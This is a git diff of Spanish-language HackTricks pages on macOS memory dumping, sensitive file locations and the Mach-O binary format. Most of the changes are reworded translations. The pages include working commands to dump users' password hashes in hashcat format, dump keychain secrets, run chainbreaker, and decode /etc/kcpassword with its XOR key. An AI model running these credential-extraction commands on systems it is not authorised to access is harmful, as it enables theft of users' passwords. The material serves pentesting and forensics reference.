El archivo ubicado en `/private/var/vm/sleepimage` es crucial durante el **modo de hibernación**. **Los datos de la memoria se almacenan en este archivo cuando macOS hiberna**. Al despertar la computadora, el sistema recupera los datos de la memoria de este archivo, lo que permite al usuario continuar donde lo dejó.
|
||||
El archivo ubicado en `/private/var/vm/sleepimage` es crucial durante el **modo de hibernación**. **Los datos de la memoria se almacenan en este archivo cuando macOS hiberna**. Al despertar la computadora, el sistema recupera los datos de la memoria de este archivo, permitiendo al usuario continuar donde lo dejó.
|
||||
|
||||
Cabe destacar que en los sistemas MacOS modernos, este archivo suele estar encriptado por razones de seguridad, lo que dificulta la recuperación.
|
||||
|
||||
|
@ -44,7 +45,7 @@ Cabe destacar que en los sistemas MacOS modernos, este archivo suele estar encri
|
|||
|
||||
### Registros de presión de memoria
|
||||
|
||||
Otro archivo importante relacionado con la memoria en los sistemas MacOS es el **registro de presión de memoria**. Estos registros se encuentran en `/var/log` y contienen información detallada sobre el uso de la memoria del sistema y los eventos de presión. Pueden ser particularmente útiles para diagnosticar problemas relacionados con la memoria o comprender cómo el sistema gestiona la memoria con el tiempo.
|
||||
Otro archivo importante relacionado con la memoria en los sistemas MacOS son los **registros de presión de memoria**. Estos registros se encuentran en `/var/log` y contienen información detallada sobre el uso de memoria del sistema y eventos de presión. Pueden ser particularmente útiles para diagnosticar problemas relacionados con la memoria o comprender cómo el sistema gestiona la memoria con el tiempo.
|
||||
|
||||
## Volcado de memoria con osxpmem
|
||||
|
||||
|
@ -58,16 +59,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
|||
#Dump aff4 format
|
||||
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
||||
```
|
||||
Si encuentras este error: `osxpmem.app/MacPmem.kext no se pudo cargar - (libkern/kext) fallo de autenticación (propietario/permisos de archivo); verifica los registros del sistema/kernel en busca de errores o intenta con kextutil(8)` Puedes solucionarlo haciendo:
|
||||
Si encuentras este error: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` Puedes solucionarlo haciendo:
|
||||
```bash
|
||||
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
||||
sudo kextutil "/tmp/MacPmem.kext"
|
||||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
**Otros errores** podrían ser solucionados permitiendo la carga del kext en "Seguridad y privacidad --> General", simplemente **permítelo**.
|
||||
**Otros errores** podrían ser solucionados permitiendo la carga del kexto en "Seguridad y privacidad --> General", simplemente **permítelo**.
|
||||
|
||||
También puedes usar este **oneliner** para descargar la aplicación, cargar el kext y volcar la memoria:
|
||||
También puedes usar este **oneliner** para descargar la aplicación, cargar el kexto y volcar la memoria:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -88,16 +89,17 @@ Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita**
|
|||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,44 @@
|
|||
# Ubicaciones Sensibles de macOS y Demonios Interesantes
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Contraseñas
|
||||
|
||||
### Contraseñas de Sombra
|
||||
### Contraseñas en Sombra
|
||||
|
||||
La contraseña de sombra se almacena con la configuración del usuario en plists ubicados en **`/var/db/dslocal/nodes/Default/users/`**.\
|
||||
El siguiente oneliner se puede utilizar para volcar **toda la información sobre los usuarios** (incluida la información del hash):
|
||||
La contraseña en sombra se almacena con la configuración del usuario en plists ubicados en **`/var/db/dslocal/nodes/Default/users/`**.\
|
||||
El siguiente comando en una línea se puede utilizar para volcar **toda la información sobre los usuarios** (incluida la información del hash):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
[**Scripts like this one**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**este otro**](https://github.com/octomagon/davegrohl.git) se pueden utilizar para transformar el hash al **formato** de **hashcat**.
|
||||
[**Scripts like this one**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**este otro**](https://github.com/octomagon/davegrohl.git) se pueden utilizar para transformar el hash al **formato hashcat**.
|
||||
|
||||
Una alternativa en una sola línea que volcará las credenciales de todas las cuentas que no son de servicio en formato hashcat `-m 7100` (macOS PBKDF2-SHA512):
|
||||
Una alternativa en una sola línea que volcará credenciales de todas las cuentas que no son de servicio en formato hashcat `-m 7100` (macOS PBKDF2-SHA512):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Volcado de llavero
|
||||
|
||||
Tenga en cuenta que al utilizar el binario de seguridad para **volcar las contraseñas descifradas**, se le pedirá al usuario que permita esta operación en varias ocasiones.
|
||||
Tenga en cuenta que al utilizar el binario de seguridad para **volcar las contraseñas descifradas**, se mostrarán varias solicitudes pidiendo al usuario que permita esta operación.
|
||||
```bash
|
||||
#security
|
||||
secuirty dump-trust-settings [-s] [-d] #List certificates
|
||||
|
@ -49,7 +50,7 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
|
|||
### [Keychaindump](https://github.com/juuso/keychaindump)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Según este comentario [juuso/keychaindump#10 (comentario)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) parece que estas herramientas ya no funcionan en Big Sur.
|
||||
Basado en este comentario [juuso/keychaindump#10 (comentario)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) parece que estas herramientas ya no funcionan en Big Sur.
|
||||
{% endhint %}
|
||||
|
||||
### Descripción de Keychaindump
|
||||
|
@ -68,7 +69,7 @@ sudo ./keychaindump
|
|||
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) se puede utilizar para extraer los siguientes tipos de información de un llavero de OSX de manera forense:
|
||||
|
||||
* Contraseña de llavero con hash, adecuada para crackear con [hashcat](https://hashcat.net/hashcat/) o [John the Ripper](https://www.openwall.com/john/)
|
||||
* Contraseña de llavero con hash, adecuada para descifrar con [hashcat](https://hashcat.net/hashcat/) o [John the Ripper](https://www.openwall.com/john/)
|
||||
* Contraseñas de Internet
|
||||
* Contraseñas genéricas
|
||||
* Claves privadas
|
||||
|
@ -125,7 +126,7 @@ python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library
|
|||
|
||||
El archivo **kcpassword** es un archivo que contiene la **contraseña de inicio de sesión del usuario**, pero solo si el propietario del sistema ha **habilitado el inicio de sesión automático**. Por lo tanto, el usuario iniciará sesión automáticamente sin que se le pida una contraseña (lo cual no es muy seguro).
|
||||
|
||||
La contraseña se almacena en el archivo **`/etc/kcpassword`** xor con la clave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Si la contraseña de los usuarios es más larga que la clave, la clave se reutilizará.\
|
||||
La contraseña se almacena en el archivo **`/etc/kcpassword`** xored con la clave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Si la contraseña de los usuarios es más larga que la clave, la clave se reutilizará.\
|
||||
Esto hace que la contraseña sea bastante fácil de recuperar, por ejemplo, utilizando scripts como [**este**](https://gist.github.com/opshope/32f65875d45215c3677d).
|
||||
|
||||
## Información interesante en bases de datos
|
||||
|
@ -142,7 +143,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
|
|||
|
||||
Puedes encontrar los datos de Notificaciones en `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
|
||||
|
||||
La mayor parte de la información interesante estará en **blob**. Por lo tanto, necesitarás **extraer** ese contenido y **transformarlo** en algo **legible** para humanos o usar **`strings`**. Para acceder a ello, puedes hacer:
|
||||
La mayor parte de la información interesante estará en **blob**. Por lo tanto, necesitarás **extraer** ese contenido y **transformarlo** a un formato **legible** para humanos o usar **`strings`**. Para acceder a ello, puedes hacer:
|
||||
```bash
|
||||
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
|
||||
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
|
||||
|
@ -174,7 +175,7 @@ En macOS, la herramienta de línea de comandos **`defaults`** se puede utilizar
|
|||
|
||||
### Notificaciones de Darwin
|
||||
|
||||
El demonio principal para las notificaciones es **`/usr/sbin/notifyd`**. Para recibir notificaciones, los clientes deben registrarse a través del puerto Mach `com.apple.system.notification_center` (verificarlos con `sudo lsmp -p <pid notifyd>`). El demonio es configurable con el archivo `/etc/notify.conf`.
|
||||
El demonio principal para las notificaciones es **`/usr/sbin/notifyd`**. Para recibir notificaciones, los clientes deben registrarse a través del puerto Mach `com.apple.system.notification_center` (verificar con `sudo lsmp -p <pid notifyd>`). El demonio es configurable con el archivo `/etc/notify.conf`.
|
||||
|
||||
Los nombres utilizados para las notificaciones son notaciones únicas de DNS inverso y cuando se envía una notificación a uno de ellos, el cliente o clientes que han indicado que pueden manejarla la recibirán.
|
||||
|
||||
|
@ -196,12 +197,12 @@ common: com.apple.security.octagon.joined-with-bottle
|
|||
```
|
||||
### Centro de Notificaciones Distribuido
|
||||
|
||||
El **Centro de Notificaciones Distribuido** cuyo binario principal es **`/usr/sbin/distnoted`**, es otra forma de enviar notificaciones. Expone algunos servicios XPC y realiza algunas verificaciones para intentar verificar clientes.
|
||||
El **Centro de Notificaciones Distribuido**, cuyo binario principal es **`/usr/sbin/distnoted`**, es otra forma de enviar notificaciones. Expone algunos servicios XPC y realiza algunas verificaciones para intentar verificar clientes.
|
||||
|
||||
### Notificaciones Push de Apple (APN)
|
||||
|
||||
En este caso, las aplicaciones pueden registrarse para **temas**. El cliente generará un token contactando a los servidores de Apple a través de **`apsd`**.\
|
||||
Luego, los proveedores también habrán generado un token y podrán conectarse con los servidores de Apple para enviar mensajes a los clientes. Estos mensajes serán recibidos localmente por **`apsd`** que transmitirá la notificación a la aplicación que la espera.
|
||||
Luego, los proveedores también habrán generado un token y podrán conectarse con los servidores de Apple para enviar mensajes a los clientes. Estos mensajes serán recibidos localmente por **`apsd`**, que retransmitirá la notificación a la aplicación que la espera.
|
||||
|
||||
Las preferencias se encuentran en `/Library/Preferences/com.apple.apsd.plist`.
|
||||
|
||||
|
@ -209,7 +210,7 @@ Hay una base de datos local de mensajes ubicada en macOS en `/Library/Applicatio
|
|||
```bash
|
||||
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
|
||||
```
|
||||
También es posible obtener información sobre el daemon y las conexiones usando:
|
||||
También es posible obtener información sobre el demonio y las conexiones usando:
|
||||
```bash
|
||||
/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status
|
||||
```
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Binarios universales de macOS y Formato Mach-O
|
||||
# macOS Binarios universales y Formato Mach-O
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -47,7 +48,7 @@ uint32_t align; /* alineación como una potencia de 2 */
|
|||
};
|
||||
</code></pre>
|
||||
|
||||
El encabezado tiene los bytes **mágicos** seguidos del **número** de **arquitecturas** que el archivo **contiene** (`nfat_arch`) y cada arquitectura tendrá una estructura `fat_arch`.
|
||||
El encabezado tiene los bytes **mágicos** seguidos por el **número** de **arquitecturas** que el archivo **contiene** (`nfat_arch`) y cada arquitectura tendrá una estructura `fat_arch`.
|
||||
|
||||
Verifícalo con:
|
||||
|
||||
|
@ -57,23 +58,23 @@ Verifícalo con:
|
|||
/bin/ls (for architecture arm64e): Mach-O 64-bit executable arm64e
|
||||
|
||||
% otool -f -v /bin/ls
|
||||
Fat headers
|
||||
Encabezados Fat
|
||||
fat_magic FAT_MAGIC
|
||||
<strong>nfat_arch 2
|
||||
</strong><strong>architecture x86_64
|
||||
</strong><strong>arquitectura x86_64
|
||||
</strong> cputype CPU_TYPE_X86_64
|
||||
cpusubtype CPU_SUBTYPE_X86_64_ALL
|
||||
capabilities 0x0
|
||||
<strong> offset 16384
|
||||
</strong><strong> size 72896
|
||||
</strong> align 2^14 (16384)
|
||||
<strong>architecture arm64e
|
||||
<strong> desplazamiento 16384
|
||||
</strong><strong> tamaño 72896
|
||||
</strong> alineación 2^14 (16384)
|
||||
<strong>arquitectura arm64e
|
||||
</strong> cputype CPU_TYPE_ARM64
|
||||
cpusubtype CPU_SUBTYPE_ARM64E
|
||||
capabilities PTR_AUTH_VERSION USERSPACE 0
|
||||
<strong> offset 98304
|
||||
</strong><strong> size 88816
|
||||
</strong> align 2^14 (16384)
|
||||
<strong> desplazamiento 98304
|
||||
</strong><strong> tamaño 88816
|
||||
</strong> alineación 2^14 (16384)
|
||||
</code></pre>
|
||||
|
||||
o utilizando la herramienta [Mach-O View](https://sourceforge.net/projects/machoview/):
|
||||
|
@ -113,7 +114,7 @@ uint32_t reserved; /* reserved */
|
|||
```
|
||||
### Tipos de Archivos Mach-O
|
||||
|
||||
Existen diferentes tipos de archivos, puedes encontrar su definición en el [**código fuente, por ejemplo aquí**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL\_HEADERS/mach-o/loader.h). Los más importantes son:
|
||||
Existen diferentes tipos de archivos, puedes encontrar su definición en el [**código fuente por ejemplo aquí**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL\_HEADERS/mach-o/loader.h). Los más importantes son:
|
||||
|
||||
* `MH_OBJECT`: Archivo de objeto relocatable (productos intermedios de la compilación, aún no son ejecutables).
|
||||
* `MH_EXECUTE`: Archivos ejecutables.
|
||||
|
@ -148,8 +149,8 @@ El código fuente también define varias banderas útiles para cargar biblioteca
|
|||
* `MH_BINDS_TO_WEAK`: Binario utiliza símbolos débiles
|
||||
* `MH_ALLOW_STACK_EXECUTION`: Hacer la pila ejecutable
|
||||
* `MH_NO_REEXPORTED_DYLIBS`: Biblioteca sin comandos LC\_REEXPORT
|
||||
* `MH_PIE`: Ejecutable Independiente de la Posición
|
||||
* `MH_HAS_TLV_DESCRIPTORS`: Hay una sección con variables locales de subprocesos
|
||||
* `MH_PIE`: Ejecutable de posición independiente
|
||||
* `MH_HAS_TLV_DESCRIPTORS`: Hay una sección con variables locales de hilo
|
||||
* `MH_NO_HEAP_EXECUTION`: Sin ejecución para páginas de montón/datos
|
||||
* `MH_HAS_OBJC`: Binario tiene secciones de Objective-C
|
||||
* `MH_SIM_SUPPORT`: Soporte para simulador
|
||||
|
@ -188,7 +189,7 @@ uint32_t cmdsize; /* incluye el tamaño de las estructuras section_64 */
|
|||
char segname[16]; /* nombre del segmento */
|
||||
uint64_t vmaddr; /* dirección de memoria de este segmento */
|
||||
uint64_t vmsize; /* tamaño de memoria de este segmento */
|
||||
uint64_t fileoff; /* desplazamiento de archivo de este segmento */
|
||||
uint64_t fileoff; /* desplazamiento en el archivo de este segmento */
|
||||
uint64_t filesize; /* cantidad a mapear desde el archivo */
|
||||
int32_t maxprot; /* protección VM máxima */
|
||||
int32_t initprot; /* protección VM inicial */
|
||||
|
@ -238,12 +239,12 @@ Segmentos comunes cargados por este cmd:
|
|||
* **`__TEXT`**: Contiene **código ejecutable** con permisos de **lectura** y **ejecución** (no escritura)**.** Secciones comunes de este segmento:
|
||||
* `__text`: Código binario compilado
|
||||
* `__const`: Datos constantes (solo lectura)
|
||||
* `__[c/u/os_log]string`: Constantes de cadena de C, Unicode u os logs
|
||||
* `__[c/u/os_log]string`: Constantes de cadena C, Unicode u os logs
|
||||
* `__stubs` y `__stubs_helper`: Involucrados durante el proceso de carga de bibliotecas dinámicas
|
||||
* `__unwind_info`: Datos de desenrollado de pila.
|
||||
* Tenga en cuenta que todo este contenido está firmado pero también marcado como ejecutable (creando más opciones para la explotación de secciones que no necesariamente requieren este privilegio, como secciones dedicadas a cadenas).
|
||||
* **`__DATA`**: Contiene datos que son **legibles** y **escribibles** (no ejecutables)**.**
|
||||
* `__got:` Tabla de Desplazamiento Global
|
||||
* `__got:` Tabla de desplazamiento global
|
||||
* `__nl_symbol_ptr`: Puntero de símbolo no perezoso (vinculado en la carga)
|
||||
* `__la_symbol_ptr`: Puntero de símbolo perezoso (vinculado en uso)
|
||||
* `__const`: Debería ser datos de solo lectura (en realidad no)
|
||||
|
@ -255,12 +256,12 @@ Segmentos comunes cargados por este cmd:
|
|||
* **`__LINKEDIT`**: Contiene información para el enlazador (dyld) como, símbolos, cadenas y entradas de tabla de reubicación. Es un contenedor genérico para contenidos que no están ni en `__TEXT` ni en `__DATA` y su contenido se describe en otros comandos de carga.
|
||||
* Información de dyld: Rebase, opcodes de enlace no perezoso/perezoso/débil e información de exportación
|
||||
* Inicio de funciones: Tabla de direcciones de inicio de funciones
|
||||
* Datos en Código: Islas de datos en \_\_text
|
||||
* Tabla de Símbolos: Símbolos en binario
|
||||
* Tabla de Símbolos Indirectos: Símbolos de puntero/stub
|
||||
* Tabla de Cadenas
|
||||
* Firma de Código
|
||||
* **`__OBJC`**: Contiene información utilizada por el tiempo de ejecución de Objective-C. Aunque esta información también se puede encontrar en el segmento \_\_DATA, dentro de varias secciones en \_\_objc\_\*.
|
||||
* Datos en código: Islas de datos en \_\_text
|
||||
* Tabla de símbolos: Símbolos en binario
|
||||
* Tabla de símbolos indirectos: Símbolos de puntero/stub
|
||||
* Tabla de cadenas
|
||||
* Firma de código
|
||||
* **`__OBJC`**: Contiene información utilizada por el tiempo de ejecución de Objective-C. Aunque esta información también puede encontrarse en el segmento \_\_DATA, dentro de varias secciones en \_\_objc\_\*.
|
||||
* **`__RESTRICT`**: Un segmento sin contenido con una sola sección llamada **`__restrict`** (también vacía) que asegura que al ejecutar el binario, ignorará las variables de entorno DYLD.
|
||||
|
||||
Como se pudo ver en el código, **los segmentos también admiten banderas** (aunque no se usan mucho):
|
||||
|
@ -272,7 +273,7 @@ Como se pudo ver en el código, **los segmentos también admiten banderas** (aun
|
|||
|
||||
### **`LC_UNIXTHREAD/LC_MAIN`**
|
||||
|
||||
**`LC_MAIN`** contiene el punto de entrada en el atributo **entryoff**. En el momento de carga, **dyld** simplemente **agrega** este valor a la **base del binario** (en memoria), luego **salta** a esta instrucción para comenzar la ejecución del código del binario.
|
||||
**`LC_MAIN`** contiene el punto de entrada en el atributo **entryoff**. En el momento de carga, **dyld** simplemente **agrega** este valor a la **base del binario** (en memoria), luego **salta** a esta instrucción para comenzar la ejecución del código binario.
|
||||
|
||||
**`LC_UNIXTHREAD`** contiene los valores que deben tener los registros al iniciar el hilo principal. Esto ya fue desaprobado pero **`dyld`** todavía lo utiliza. Es posible ver los valores de los registros establecidos por esto con:
|
||||
```
|
||||
|
@ -301,24 +302,24 @@ cpsr 0x00000000
|
|||
```
|
||||
### **`LC_CODE_SIGNATURE`**
|
||||
|
||||
Contiene información sobre la **firma de código del archivo Mach-O**. Solo contiene un **desplazamiento** que **apunta** al **bloque de firma**. Esto suele estar al final del archivo.\
|
||||
Contiene información sobre la **firma de código del archivo Mach-O**. Solo contiene un **desplazamiento** que **apunta** al **bloque de firma**. Normalmente se encuentra al final del archivo.\
|
||||
Sin embargo, puedes encontrar información sobre esta sección en [**esta publicación de blog**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) y en este [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
|
||||
|
||||
### **`LC_ENCRYPTION_INFO[_64]`**
|
||||
|
||||
Soporte para encriptación binaria. Sin embargo, por supuesto, si un atacante logra comprometer el proceso, podrá volcar la memoria sin cifrar.
|
||||
Soporte para encriptación binaria. Sin embargo, si un atacante logra comprometer el proceso, podrá volcar la memoria sin cifrar.
|
||||
|
||||
### **`LC_LOAD_DYLINKER`**
|
||||
|
||||
Contiene la **ruta al ejecutable del enlazador dinámico** que mapea bibliotecas compartidas en el espacio de direcciones del proceso. El **valor siempre está configurado en `/usr/lib/dyld`**. Es importante tener en cuenta que en macOS, el mapeo de dylib ocurre en **modo de usuario**, no en modo kernel.
|
||||
Contiene la **ruta al ejecutable del enlazador dinámico** que mapea bibliotecas compartidas en el espacio de direcciones del proceso. El **valor siempre está configurado en `/usr/lib/dyld`**. Es importante tener en cuenta que en macOS, el mapeo de dylib ocurre en **modo usuario**, no en modo kernel.
|
||||
|
||||
### **`LC_IDENT`**
|
||||
|
||||
Obsoleto, pero cuando está configurado para generar volcados en caso de pánico, se crea un volcado central Mach-O y la versión del kernel se establece en el comando `LC_IDENT`.
|
||||
Obsoleto, pero cuando está configurado para generar volcados en caso de pánico, se crea un volcado principal Mach-O y la versión del kernel se establece en el comando `LC_IDENT`.
|
||||
|
||||
### **`LC_UUID`**
|
||||
|
||||
UUID aleatorio. No es útil directamente, pero XNU lo almacena en caché con el resto de la información del proceso. Puede usarse en informes de fallos.
|
||||
UUID aleatorio. No es útil directamente, pero XNU lo almacena en caché con el resto de la información del proceso. Puede ser utilizado en informes de fallos.
|
||||
|
||||
### **`LC_DYLD_ENVIRONMENT`**
|
||||
|
||||
|
@ -355,9 +356,9 @@ otool -L /bin/ls
|
|||
```
|
||||
Algunas bibliotecas potencialmente relacionadas con malware son:
|
||||
|
||||
* **DiskArbitration**: Monitoreo de unidades USB
|
||||
* **AVFoundation:** Captura de audio y video
|
||||
* **CoreWLAN**: Escaneos de Wifi.
|
||||
- **DiskArbitration**: Monitoreo de unidades USB
|
||||
- **AVFoundation**: Captura de audio y video
|
||||
- **CoreWLAN**: Escaneo de Wifi.
|
||||
|
||||
{% hint style="info" %}
|
||||
Un binario Mach-O puede contener uno o **más constructores**, que se **ejecutarán antes** de la dirección especificada en **LC\_MAIN**.\
|
||||
|
@ -376,9 +377,9 @@ Los datos son básicamente la parte que contiene toda la **información** que es
|
|||
|
||||
Esto incluye:
|
||||
|
||||
* **Tabla de funciones:** Que contiene información sobre las funciones del programa.
|
||||
* **Tabla de símbolos**: Que contiene información sobre la función externa utilizada por el binario
|
||||
* También podría contener funciones internas, nombres de variables y más.
|
||||
- **Tabla de funciones**: Que contiene información sobre las funciones del programa.
|
